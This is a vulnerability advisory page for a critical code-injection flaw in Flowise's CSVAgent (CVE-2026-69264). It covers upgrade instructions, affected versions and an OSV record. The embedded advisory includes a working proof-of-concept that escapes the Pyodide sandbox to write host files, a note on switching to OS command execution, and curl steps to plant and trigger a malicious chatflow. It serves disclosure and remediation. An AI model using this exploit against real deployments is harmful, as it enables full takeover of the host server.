CVE-2026-69264: Flowise Remote Code Execution Vulnerability
CRITICALCVE-2026-69264 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Flowise libraries in the npm ecosystem. The issue involves rce via csvagent csvfile data uri base64 segment is interpolated into python source without validation. Remediation is available by upgrading affected packages to version 3.1.3.
CVE-2026-69264 at a Glance
How to Fix CVE-2026-69264
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.1.3
npm install flowise-components@3.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-69264, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-69264 Affected Flowise Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.1.3
|
3.1.3
|
|
flowise-components
|
npm |
< 3.1.3
|
3.1.3
|
References
Frequently Asked Questions
What is CVE-2026-69264?
Which Flowise versions are affected?
What version fixes CVE-2026-69264?
Is flowise affected?
Is flowise-components affected?
What CWE is associated with CVE-2026-69264?
How can I check npm dependencies for CVE-2026-69264?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4j8x-x6v7-w9rq",
"modified" : "2026-08-04T17:43:48Z",
"published" : "2026-08-04T17:43:48Z",
"aliases" : [ "CVE-2026-69264" ],
"summary" : "Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation",
"details" : "### Summary\nFlowise's `CSVAgent` interpolates an attacker-controlled segment of the\n`csvFile` data URI directly into a Python source-code template that is then\nexecuted by Pyodide. Because Pyodide is loaded with the default `js` bridge\nto `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the\nattacker can break out of the Python string literal, hand a JS string to\n`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,\n…), and execute arbitrary file I/O or OS commands as the Flowise process.\nThe two validator paths around this code (`validatePythonCodeForDataFrame`\nand `validateCustomReadCSVFunction`) are never applied to the bootstrap\ntemplate.\n\nA workspace user with `chatflows:create` (or any `agentflows`/`chatflows`\nupdate permission) plants a CSV Agent node with a crafted `csvFile`. Once the\nchatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`\nendpoint, *any unauthenticated* request triggers the host RCE.\n\n### Details\n\n**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\nThe `run()` method extracts the file segment from the data URI by splitting on\n`,` and using two `pop()` calls (lines 127–138):\n\n```ts\n} else {\n if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {\n files = JSON.parse(csvFileBase64)\n } else {\n files = [csvFileBase64]\n }\n\n for (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(',')\n splitDataURI.pop() // discards trailing filename segment\n base64String += splitDataURI.pop() ?? '' // captures the segment we attack\n }\n}\n```\n\nThe captured `base64String` is then **interpolated verbatim** into a Python\nsource string at lines 156–171:\n\n```ts\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\" // ← line 161: interpolation sink\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink\n```\n\n**Validator gaps:**\n\n- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but\n this only validates the `customReadCSV` field, not `base64String`.\n- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only\n against the *LLM-emitted* Python that runs later — never against this\n bootstrap template.\n- No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7–16):\n\n```ts\nexport async function LoadPyodide(): Promise<PyodideInterface> {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import('pyodide')\n const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage(['pandas', 'numpy'])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () => {\"\n \" const fs = await import('fs');\"\n \" fs.writeFileSync('proof.txt', 'pwned');\"\n \"})()\"\n)\n```\n\n…which executes in the host Node.js process, **not** inside Pyodide's WASM\nsandbox. Substituting `await import('child_process')` for `await import('fs')`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n> **Node-version note.** The original PoC for this issue used\n> `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n> only works on Node ≤ 13 because `process.mainModule` was deprecated and now\n> returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n> above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n> confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n> 20.20.2 — see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n> below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** — mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(',')`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic\n// import('fs') -> host file write\n//\n// CONSTRAINTS:\n// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]\n// of the data URI is what becomes `base64_string`, so this segment must\n// contain NO raw `,` bytes.\n// * Inside a Python double-quoted string literal, `,` is the escape\n// for `,`. The data-URI parser sees the 6 raw bytes `\\`, `u`, `0`, `0`,\n// `2`, `c` (no commas), but Python's lexer turns them into commas at\n// runtime — letting us pass multiple arguments to JS functions inside\n// the Python source.\n//\n// NODE-VERSION NOTE: an earlier revision of this PoC used\n// `cp = js.process.mainModule.require(\"child_process\"); cp.execSync(...)`\n// which is shorter but only works on Node ≤ 13 — `process.mainModule` was\n// deprecated and now returns `undefined` on Node 14+, so the inner\n// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form\n// below works on any Node 13.2+ in both CommonJS and ESM contexts and was\n// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.\n\nconst fs = require('fs')\nconst path = require('path')\nconst { loadPyodide } = require('pyodide')\n\nconst proofName = 'flowise_a1_pyodide_proof.txt'\nconst proofPath = path.resolve(__dirname, proofName)\nconst proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'\n\n// --- Attacker payload (Python; comma-free) ----------------------------------\n// Closes the `base64_string = \"` literal with `\";`, runs malicious Python,\n// then `#` comments out the surviving closing `\"` so the rest of the\n// bootstrap template still parses.\nconst pythonInjection =\n '\";\\n' +\n 'import js\\n' +\n `await js.eval(\"(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\\\u002c '${proofMarker}'); })()\")\\n` +\n '#'\n\n// Sanity: any commas would fragment the injection on the JS side.\nif (pythonInjection.includes(',')) {\n throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(\",\")')\n}\n\nconst csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`\n\n// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------\nconst csvFileBase64 = csvFile\nconst files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]\nlet base64String = ''\nfor (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(',')\n splitDataURI.pop()\n base64String += splitDataURI.pop() ?? ''\n}\n\n// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------\n// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just\n// to demonstrate the injection. The real flow's pyodide instance preloads\n// pandas via LoadPyodide() (core.ts:12). The injection point and validator\n// bypass are identical either way.\nconst code = `import base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode('utf-8'))\nprint(\"post-injection bootstrap continued; base64_string =\", repr(base64_string))\n`\n\nconsole.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')\nconsole.log(code)\nconsole.log('--- end ---\\n')\n\n;(async () => {\n try { fs.unlinkSync(proofPath) } catch {}\n\n console.log('[*] Loading pyodide...')\n const pyodide = await loadPyodide()\n console.log('[*] Pyodide loaded; running attacker-assembled Python...\\n')\n\n try {\n await pyodide.runPythonAsync(code)\n } catch (e) {\n console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')\n console.log(String(e).split('\\n').slice(0, 8).join('\\n'))\n }\n\n // give the spawned writeFileSync a moment to flush\n await new Promise((r) => setTimeout(r, 500))\n\n console.log('\\n--- Proof file at ' + proofPath + ' ---')\n if (fs.existsSync(proofPath)) {\n console.log(fs.readFileSync(proofPath, 'utf-8').trim())\n console.log('\\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')\n } else {\n console.log('[-] Proof file not present.')\n }\n})()\n```\n\n#### What gets assembled\n\nAfter the two `pop()` calls in `CSVAgent.ts:135-137` extract the third comma-separated segment, the Python text passed to `pyodide.runPythonAsync` becomes (note that Python's lexer resolves the `,` escapes inside the string literal back to commas, so the JS code actually receives `fs.writeFileSync('proof', 'marker')`):\n\n```python\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"\";\nimport js\nawait js.eval(\"(async () => { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()\")\n#\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n...\n```\n\nThe `\";` closes line 161's string literal; the injected statements execute\n(awaiting the JS Promise that writes the proof file); the trailing `#`\ncomments out the dangling `\"` so the rest of the bootstrap parses. The\nremaining `b64decode(\"\")` returns `b''` and `pd.read_csv` (in the live\ntemplate) then raises `pandas.errors.EmptyDataError`, but the\n`fs.writeFileSync(...)` call has already fired in the Node host.\n\n#### Observed output (after deleting any prior proof file)\n\n```\n[*] Loading pyodide...\n[*] Pyodide loaded; running attacker-assembled Python...\n\n--- Proof file at .../flowise_a1_pyodide_proof.txt ---\nFLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\n\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\n```\n\nThe proof file `flowise_a1_pyodide_proof.txt` is written by the Node host\nprocess via the Pyodide `js` bridge → `js.eval(...)` →\n`(await import('fs')).writeFileSync(...)`, confirming the escape from the\nPyodide WASM sandbox. The standalone repro omits `import pandas`, so no\npost-injection exception is raised — but the live template (`pandas.read_csv`\non the empty buffer) throws `pandas.errors.EmptyDataError` *after* the host\nwrite has already happened, which is exactly the symptom an operator sees in\nthe chat panel.\n\n#### Verified end-to-end against live Flowise\n\nThe standalone repro above proves the validator-bypass + sandbox-escape\nprimitive in isolation. The same payload was additionally verified against a\nstock `flowise@3.1.2` install on Node 20.20.2:\n\n| Step | Action |\n|---|---|\n| 1 | `npm install -g flowise` (Node 20.20.2, Linux x64) |\n| 2 | `flowise start` → bind on `:3000` |\n| 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) |\n| 4 | Plant the attached `evil-csvagent-flow.json` in the chatflows DB (UI import or `POST /api/v1/chatflows`) |\n| 5 | Open the chatflow → click chat → send any message |\n| 6 | Chat panel shows `pandas.errors.EmptyDataError: No columns to parse from file` |\n| 7 | `/home/<user>/flowise_a1_proof.txt` is now present, 46 bytes, content `FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import`, owner-uid matches the Flowise process uid |\n\nReproduction artifacts (`evil-csvagent-flow.json`, `build-flow-v2.js`,\n`test-flow.js`, the captured `evidence-bundle.txt`) live at\n`pocs/S1-csvagent-csvfile-rce/triage-response/`. The chatflow JSON is built\nverbatim from Flowise's bundled `marketplaces/chatflows/CSV Agent.json`\ntemplate with three minimal edits — the malicious `csvFile` data URI on\n`csvAgent_0`, a placeholder credential on `chatOpenAI_0`, and the sticky\nnote removed — so it imports cleanly into any Flowise 3.x without the\n`reactFlowNodeData.inputParams.find(...)` 500 the maintainer initially saw\nwhen handed a hand-crafted minimal flow.\n\n#### End-to-end against a live Flowise instance\n\nThe local PoC above proves the validator-bypass + sandbox-escape primitive.\nTo reach the same primitive over HTTP against a deployed Flowise, two\nrequests suffice:\n\n```bash\n# Step 1 — authenticated chatflow author (any user with chatflows:create\n# in OSS, this is typically every registered user) plants the flow.\n# evil-csvagent-flow.json is a chatflow whose csvAgent node has\n# inputs.csvFile = \"data:text/csv;base64,A,<comma-free python payload>,IGNORED\"\ncurl -X POST https://target/api/v1/chatflows \\\n -H \"Authorization: Bearer <api-key with chatflows:create>\" \\\n -H \"Content-Type: application/json\" \\\n -d @evil-csvagent-flow.json\n# → returns chatflow id, e.g. \"<flow-uuid>\"\n\n# Step 2 — anyone, no auth (the route is whitelisted at\n# packages/server/src/utils/constants.ts:12) triggers execution:\ncurl -X POST https://target/api/v1/prediction/<flow-uuid> \\\n -H \"Content-Type: application/json\" \\\n -d '{\"question\":\"go\"}'\n```\n\nStep 1 is the only authenticated step; Step 2 is unauthenticated when\n`chatflow.apikeyid` is unset (the default for newly created chatflows).\n\n### Impact\n\n- **Class:** Remote Code Execution via Python-template injection escaping the\n Pyodide sandbox through the `js` bridge.\n- **Affected:** every Flowise deployment that exposes a chatflow containing a\n `CSVAgent` node where `csvFile` is operator-supplied (i.e., overridable via\n `nodeOverrides` for the API caller, or planted by any user with chatflow\n edit permission).\n- **Prerequisites:** one user with `chatflows:create` / `chatflows:update` /\n `agentflows:create` / `agentflows:update` to plant the chatflow once. The\n trigger is unauthenticated when the chatflow has no `apikeyid` set (the\n default for newly created chatflows).\n- **Result:** arbitrary OS-command execution as the Flowise process. Direct\n access to Flowise's encrypted-credentials key file, the entire database,\n the host filesystem, and any network resource the host can reach.\n\n### Metadata\n\n- **Affected versions:** Confirmed at commit\n `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d` (main, 2026-04-28) and at\n `flowise@3.1.2`. The vulnerable code (`splitDataURI.pop()` + template-string\n interpolation) appears unchanged across this range. Earlier 3.x versions\n with the same data-URI parsing pattern are also believed to be affected,\n but I did not verify each historical tag.\n- **Fixed version:** Unpatched at the audited commit.\n- **CVSS v3.1:**\n `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` → Base score **9.9\n (Critical)**.\n - AV:N — public `/api/v1/prediction/:id` trigger.\n - AC:L — deterministic; no race / timing.\n - PR:L — one user with `chatflows:create` (or equivalent) plants the\n chatflow. In OSS deployments, any registered user typically has this.\n - UI:N — no user interaction required at trigger time.\n - S:C — Pyodide's WASM/Python sandbox is the intended security authority\n for this code path; the `js` bridge escape and the validator bypass break\n out to the Node host process.\n - C:H / I:H / A:H — full host compromise.\n- **CWE:** CWE-94 (Improper Control of Generation of Code: 'Code Injection');\n more specifically CWE-95 (Improper Neutralization of Directives in\n Dynamically Evaluated Code: 'Eval Injection').\n\n### Remediation\n\n**Maintainer fix (preferred — eliminates string-interpolation entirely):**\npass the base64 value through Pyodide's `globals.set` API instead of\ntemplate-string interpolation. In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`,\nreplace the construction at lines 156–171 with something like:\n\n```ts\nconst pyodide = await LoadPyodide()\npyodide.globals.set('base64_string', base64String)\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)\n```\n\nThis keeps the value as a Python `str` object that never enters the source\ntext. Apply the same change to `AirtableAgent.ts` if it follows the same\npattern.\n\n**Defense in depth (recommended as well):**\n1. Validate `base64String` against `^[A-Za-z0-9+/=]*$` before interpolation\n (rejects every escape character used in the PoC).\n2. Disable Pyodide's `js` module on load. Pyodide supports `loadPyodide({ jsglobals: {} })`\n or the `js`-module-removal recipe; either prevents the bridge to\n `globalThis.process` on Node.js. Apply in\n `packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide`.\n3. Run `validatePythonCodeForDataFrame` (or a stricter equivalent) over the\n bootstrap template, not only over the LLM-emitted code. The current\n ordering inverts the trust assumption.\n4. Add a positive allow-list to `validateCustomReadCSVFunction` enumerating\n only safe pandas readers (e.g., `read_csv` and column-typed forms);\n exclude `read_pickle`, `read_html`, `read_xml`, `read_parquet`,\n `read_orc`, `read_feather`, `read_json` (these are independently\n exploitable — see S2/S3 in the submission roadmap).\n\n**User mitigations until a patch ships:**\n- Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so\n `validateFlowAPIKey` enforces auth on `/api/v1/prediction/:id`.\n- Set `chatbotConfig.allowedOrigins` to a strict list (note: this only\n defends against browser callers, not curl/server-side).\n- Restrict `chatflows:create` / `agentflows:create` permissions to trusted\n users only.\n- Where possible, strip `csvFile` from the `nodeOverrides` allow-list on\n affected chatflows so it cannot be supplied at prediction time.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.2"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/pull/6499"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94", "CWE-95" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-04T17:43:48Z",
"nvd_published_at" : null
}
}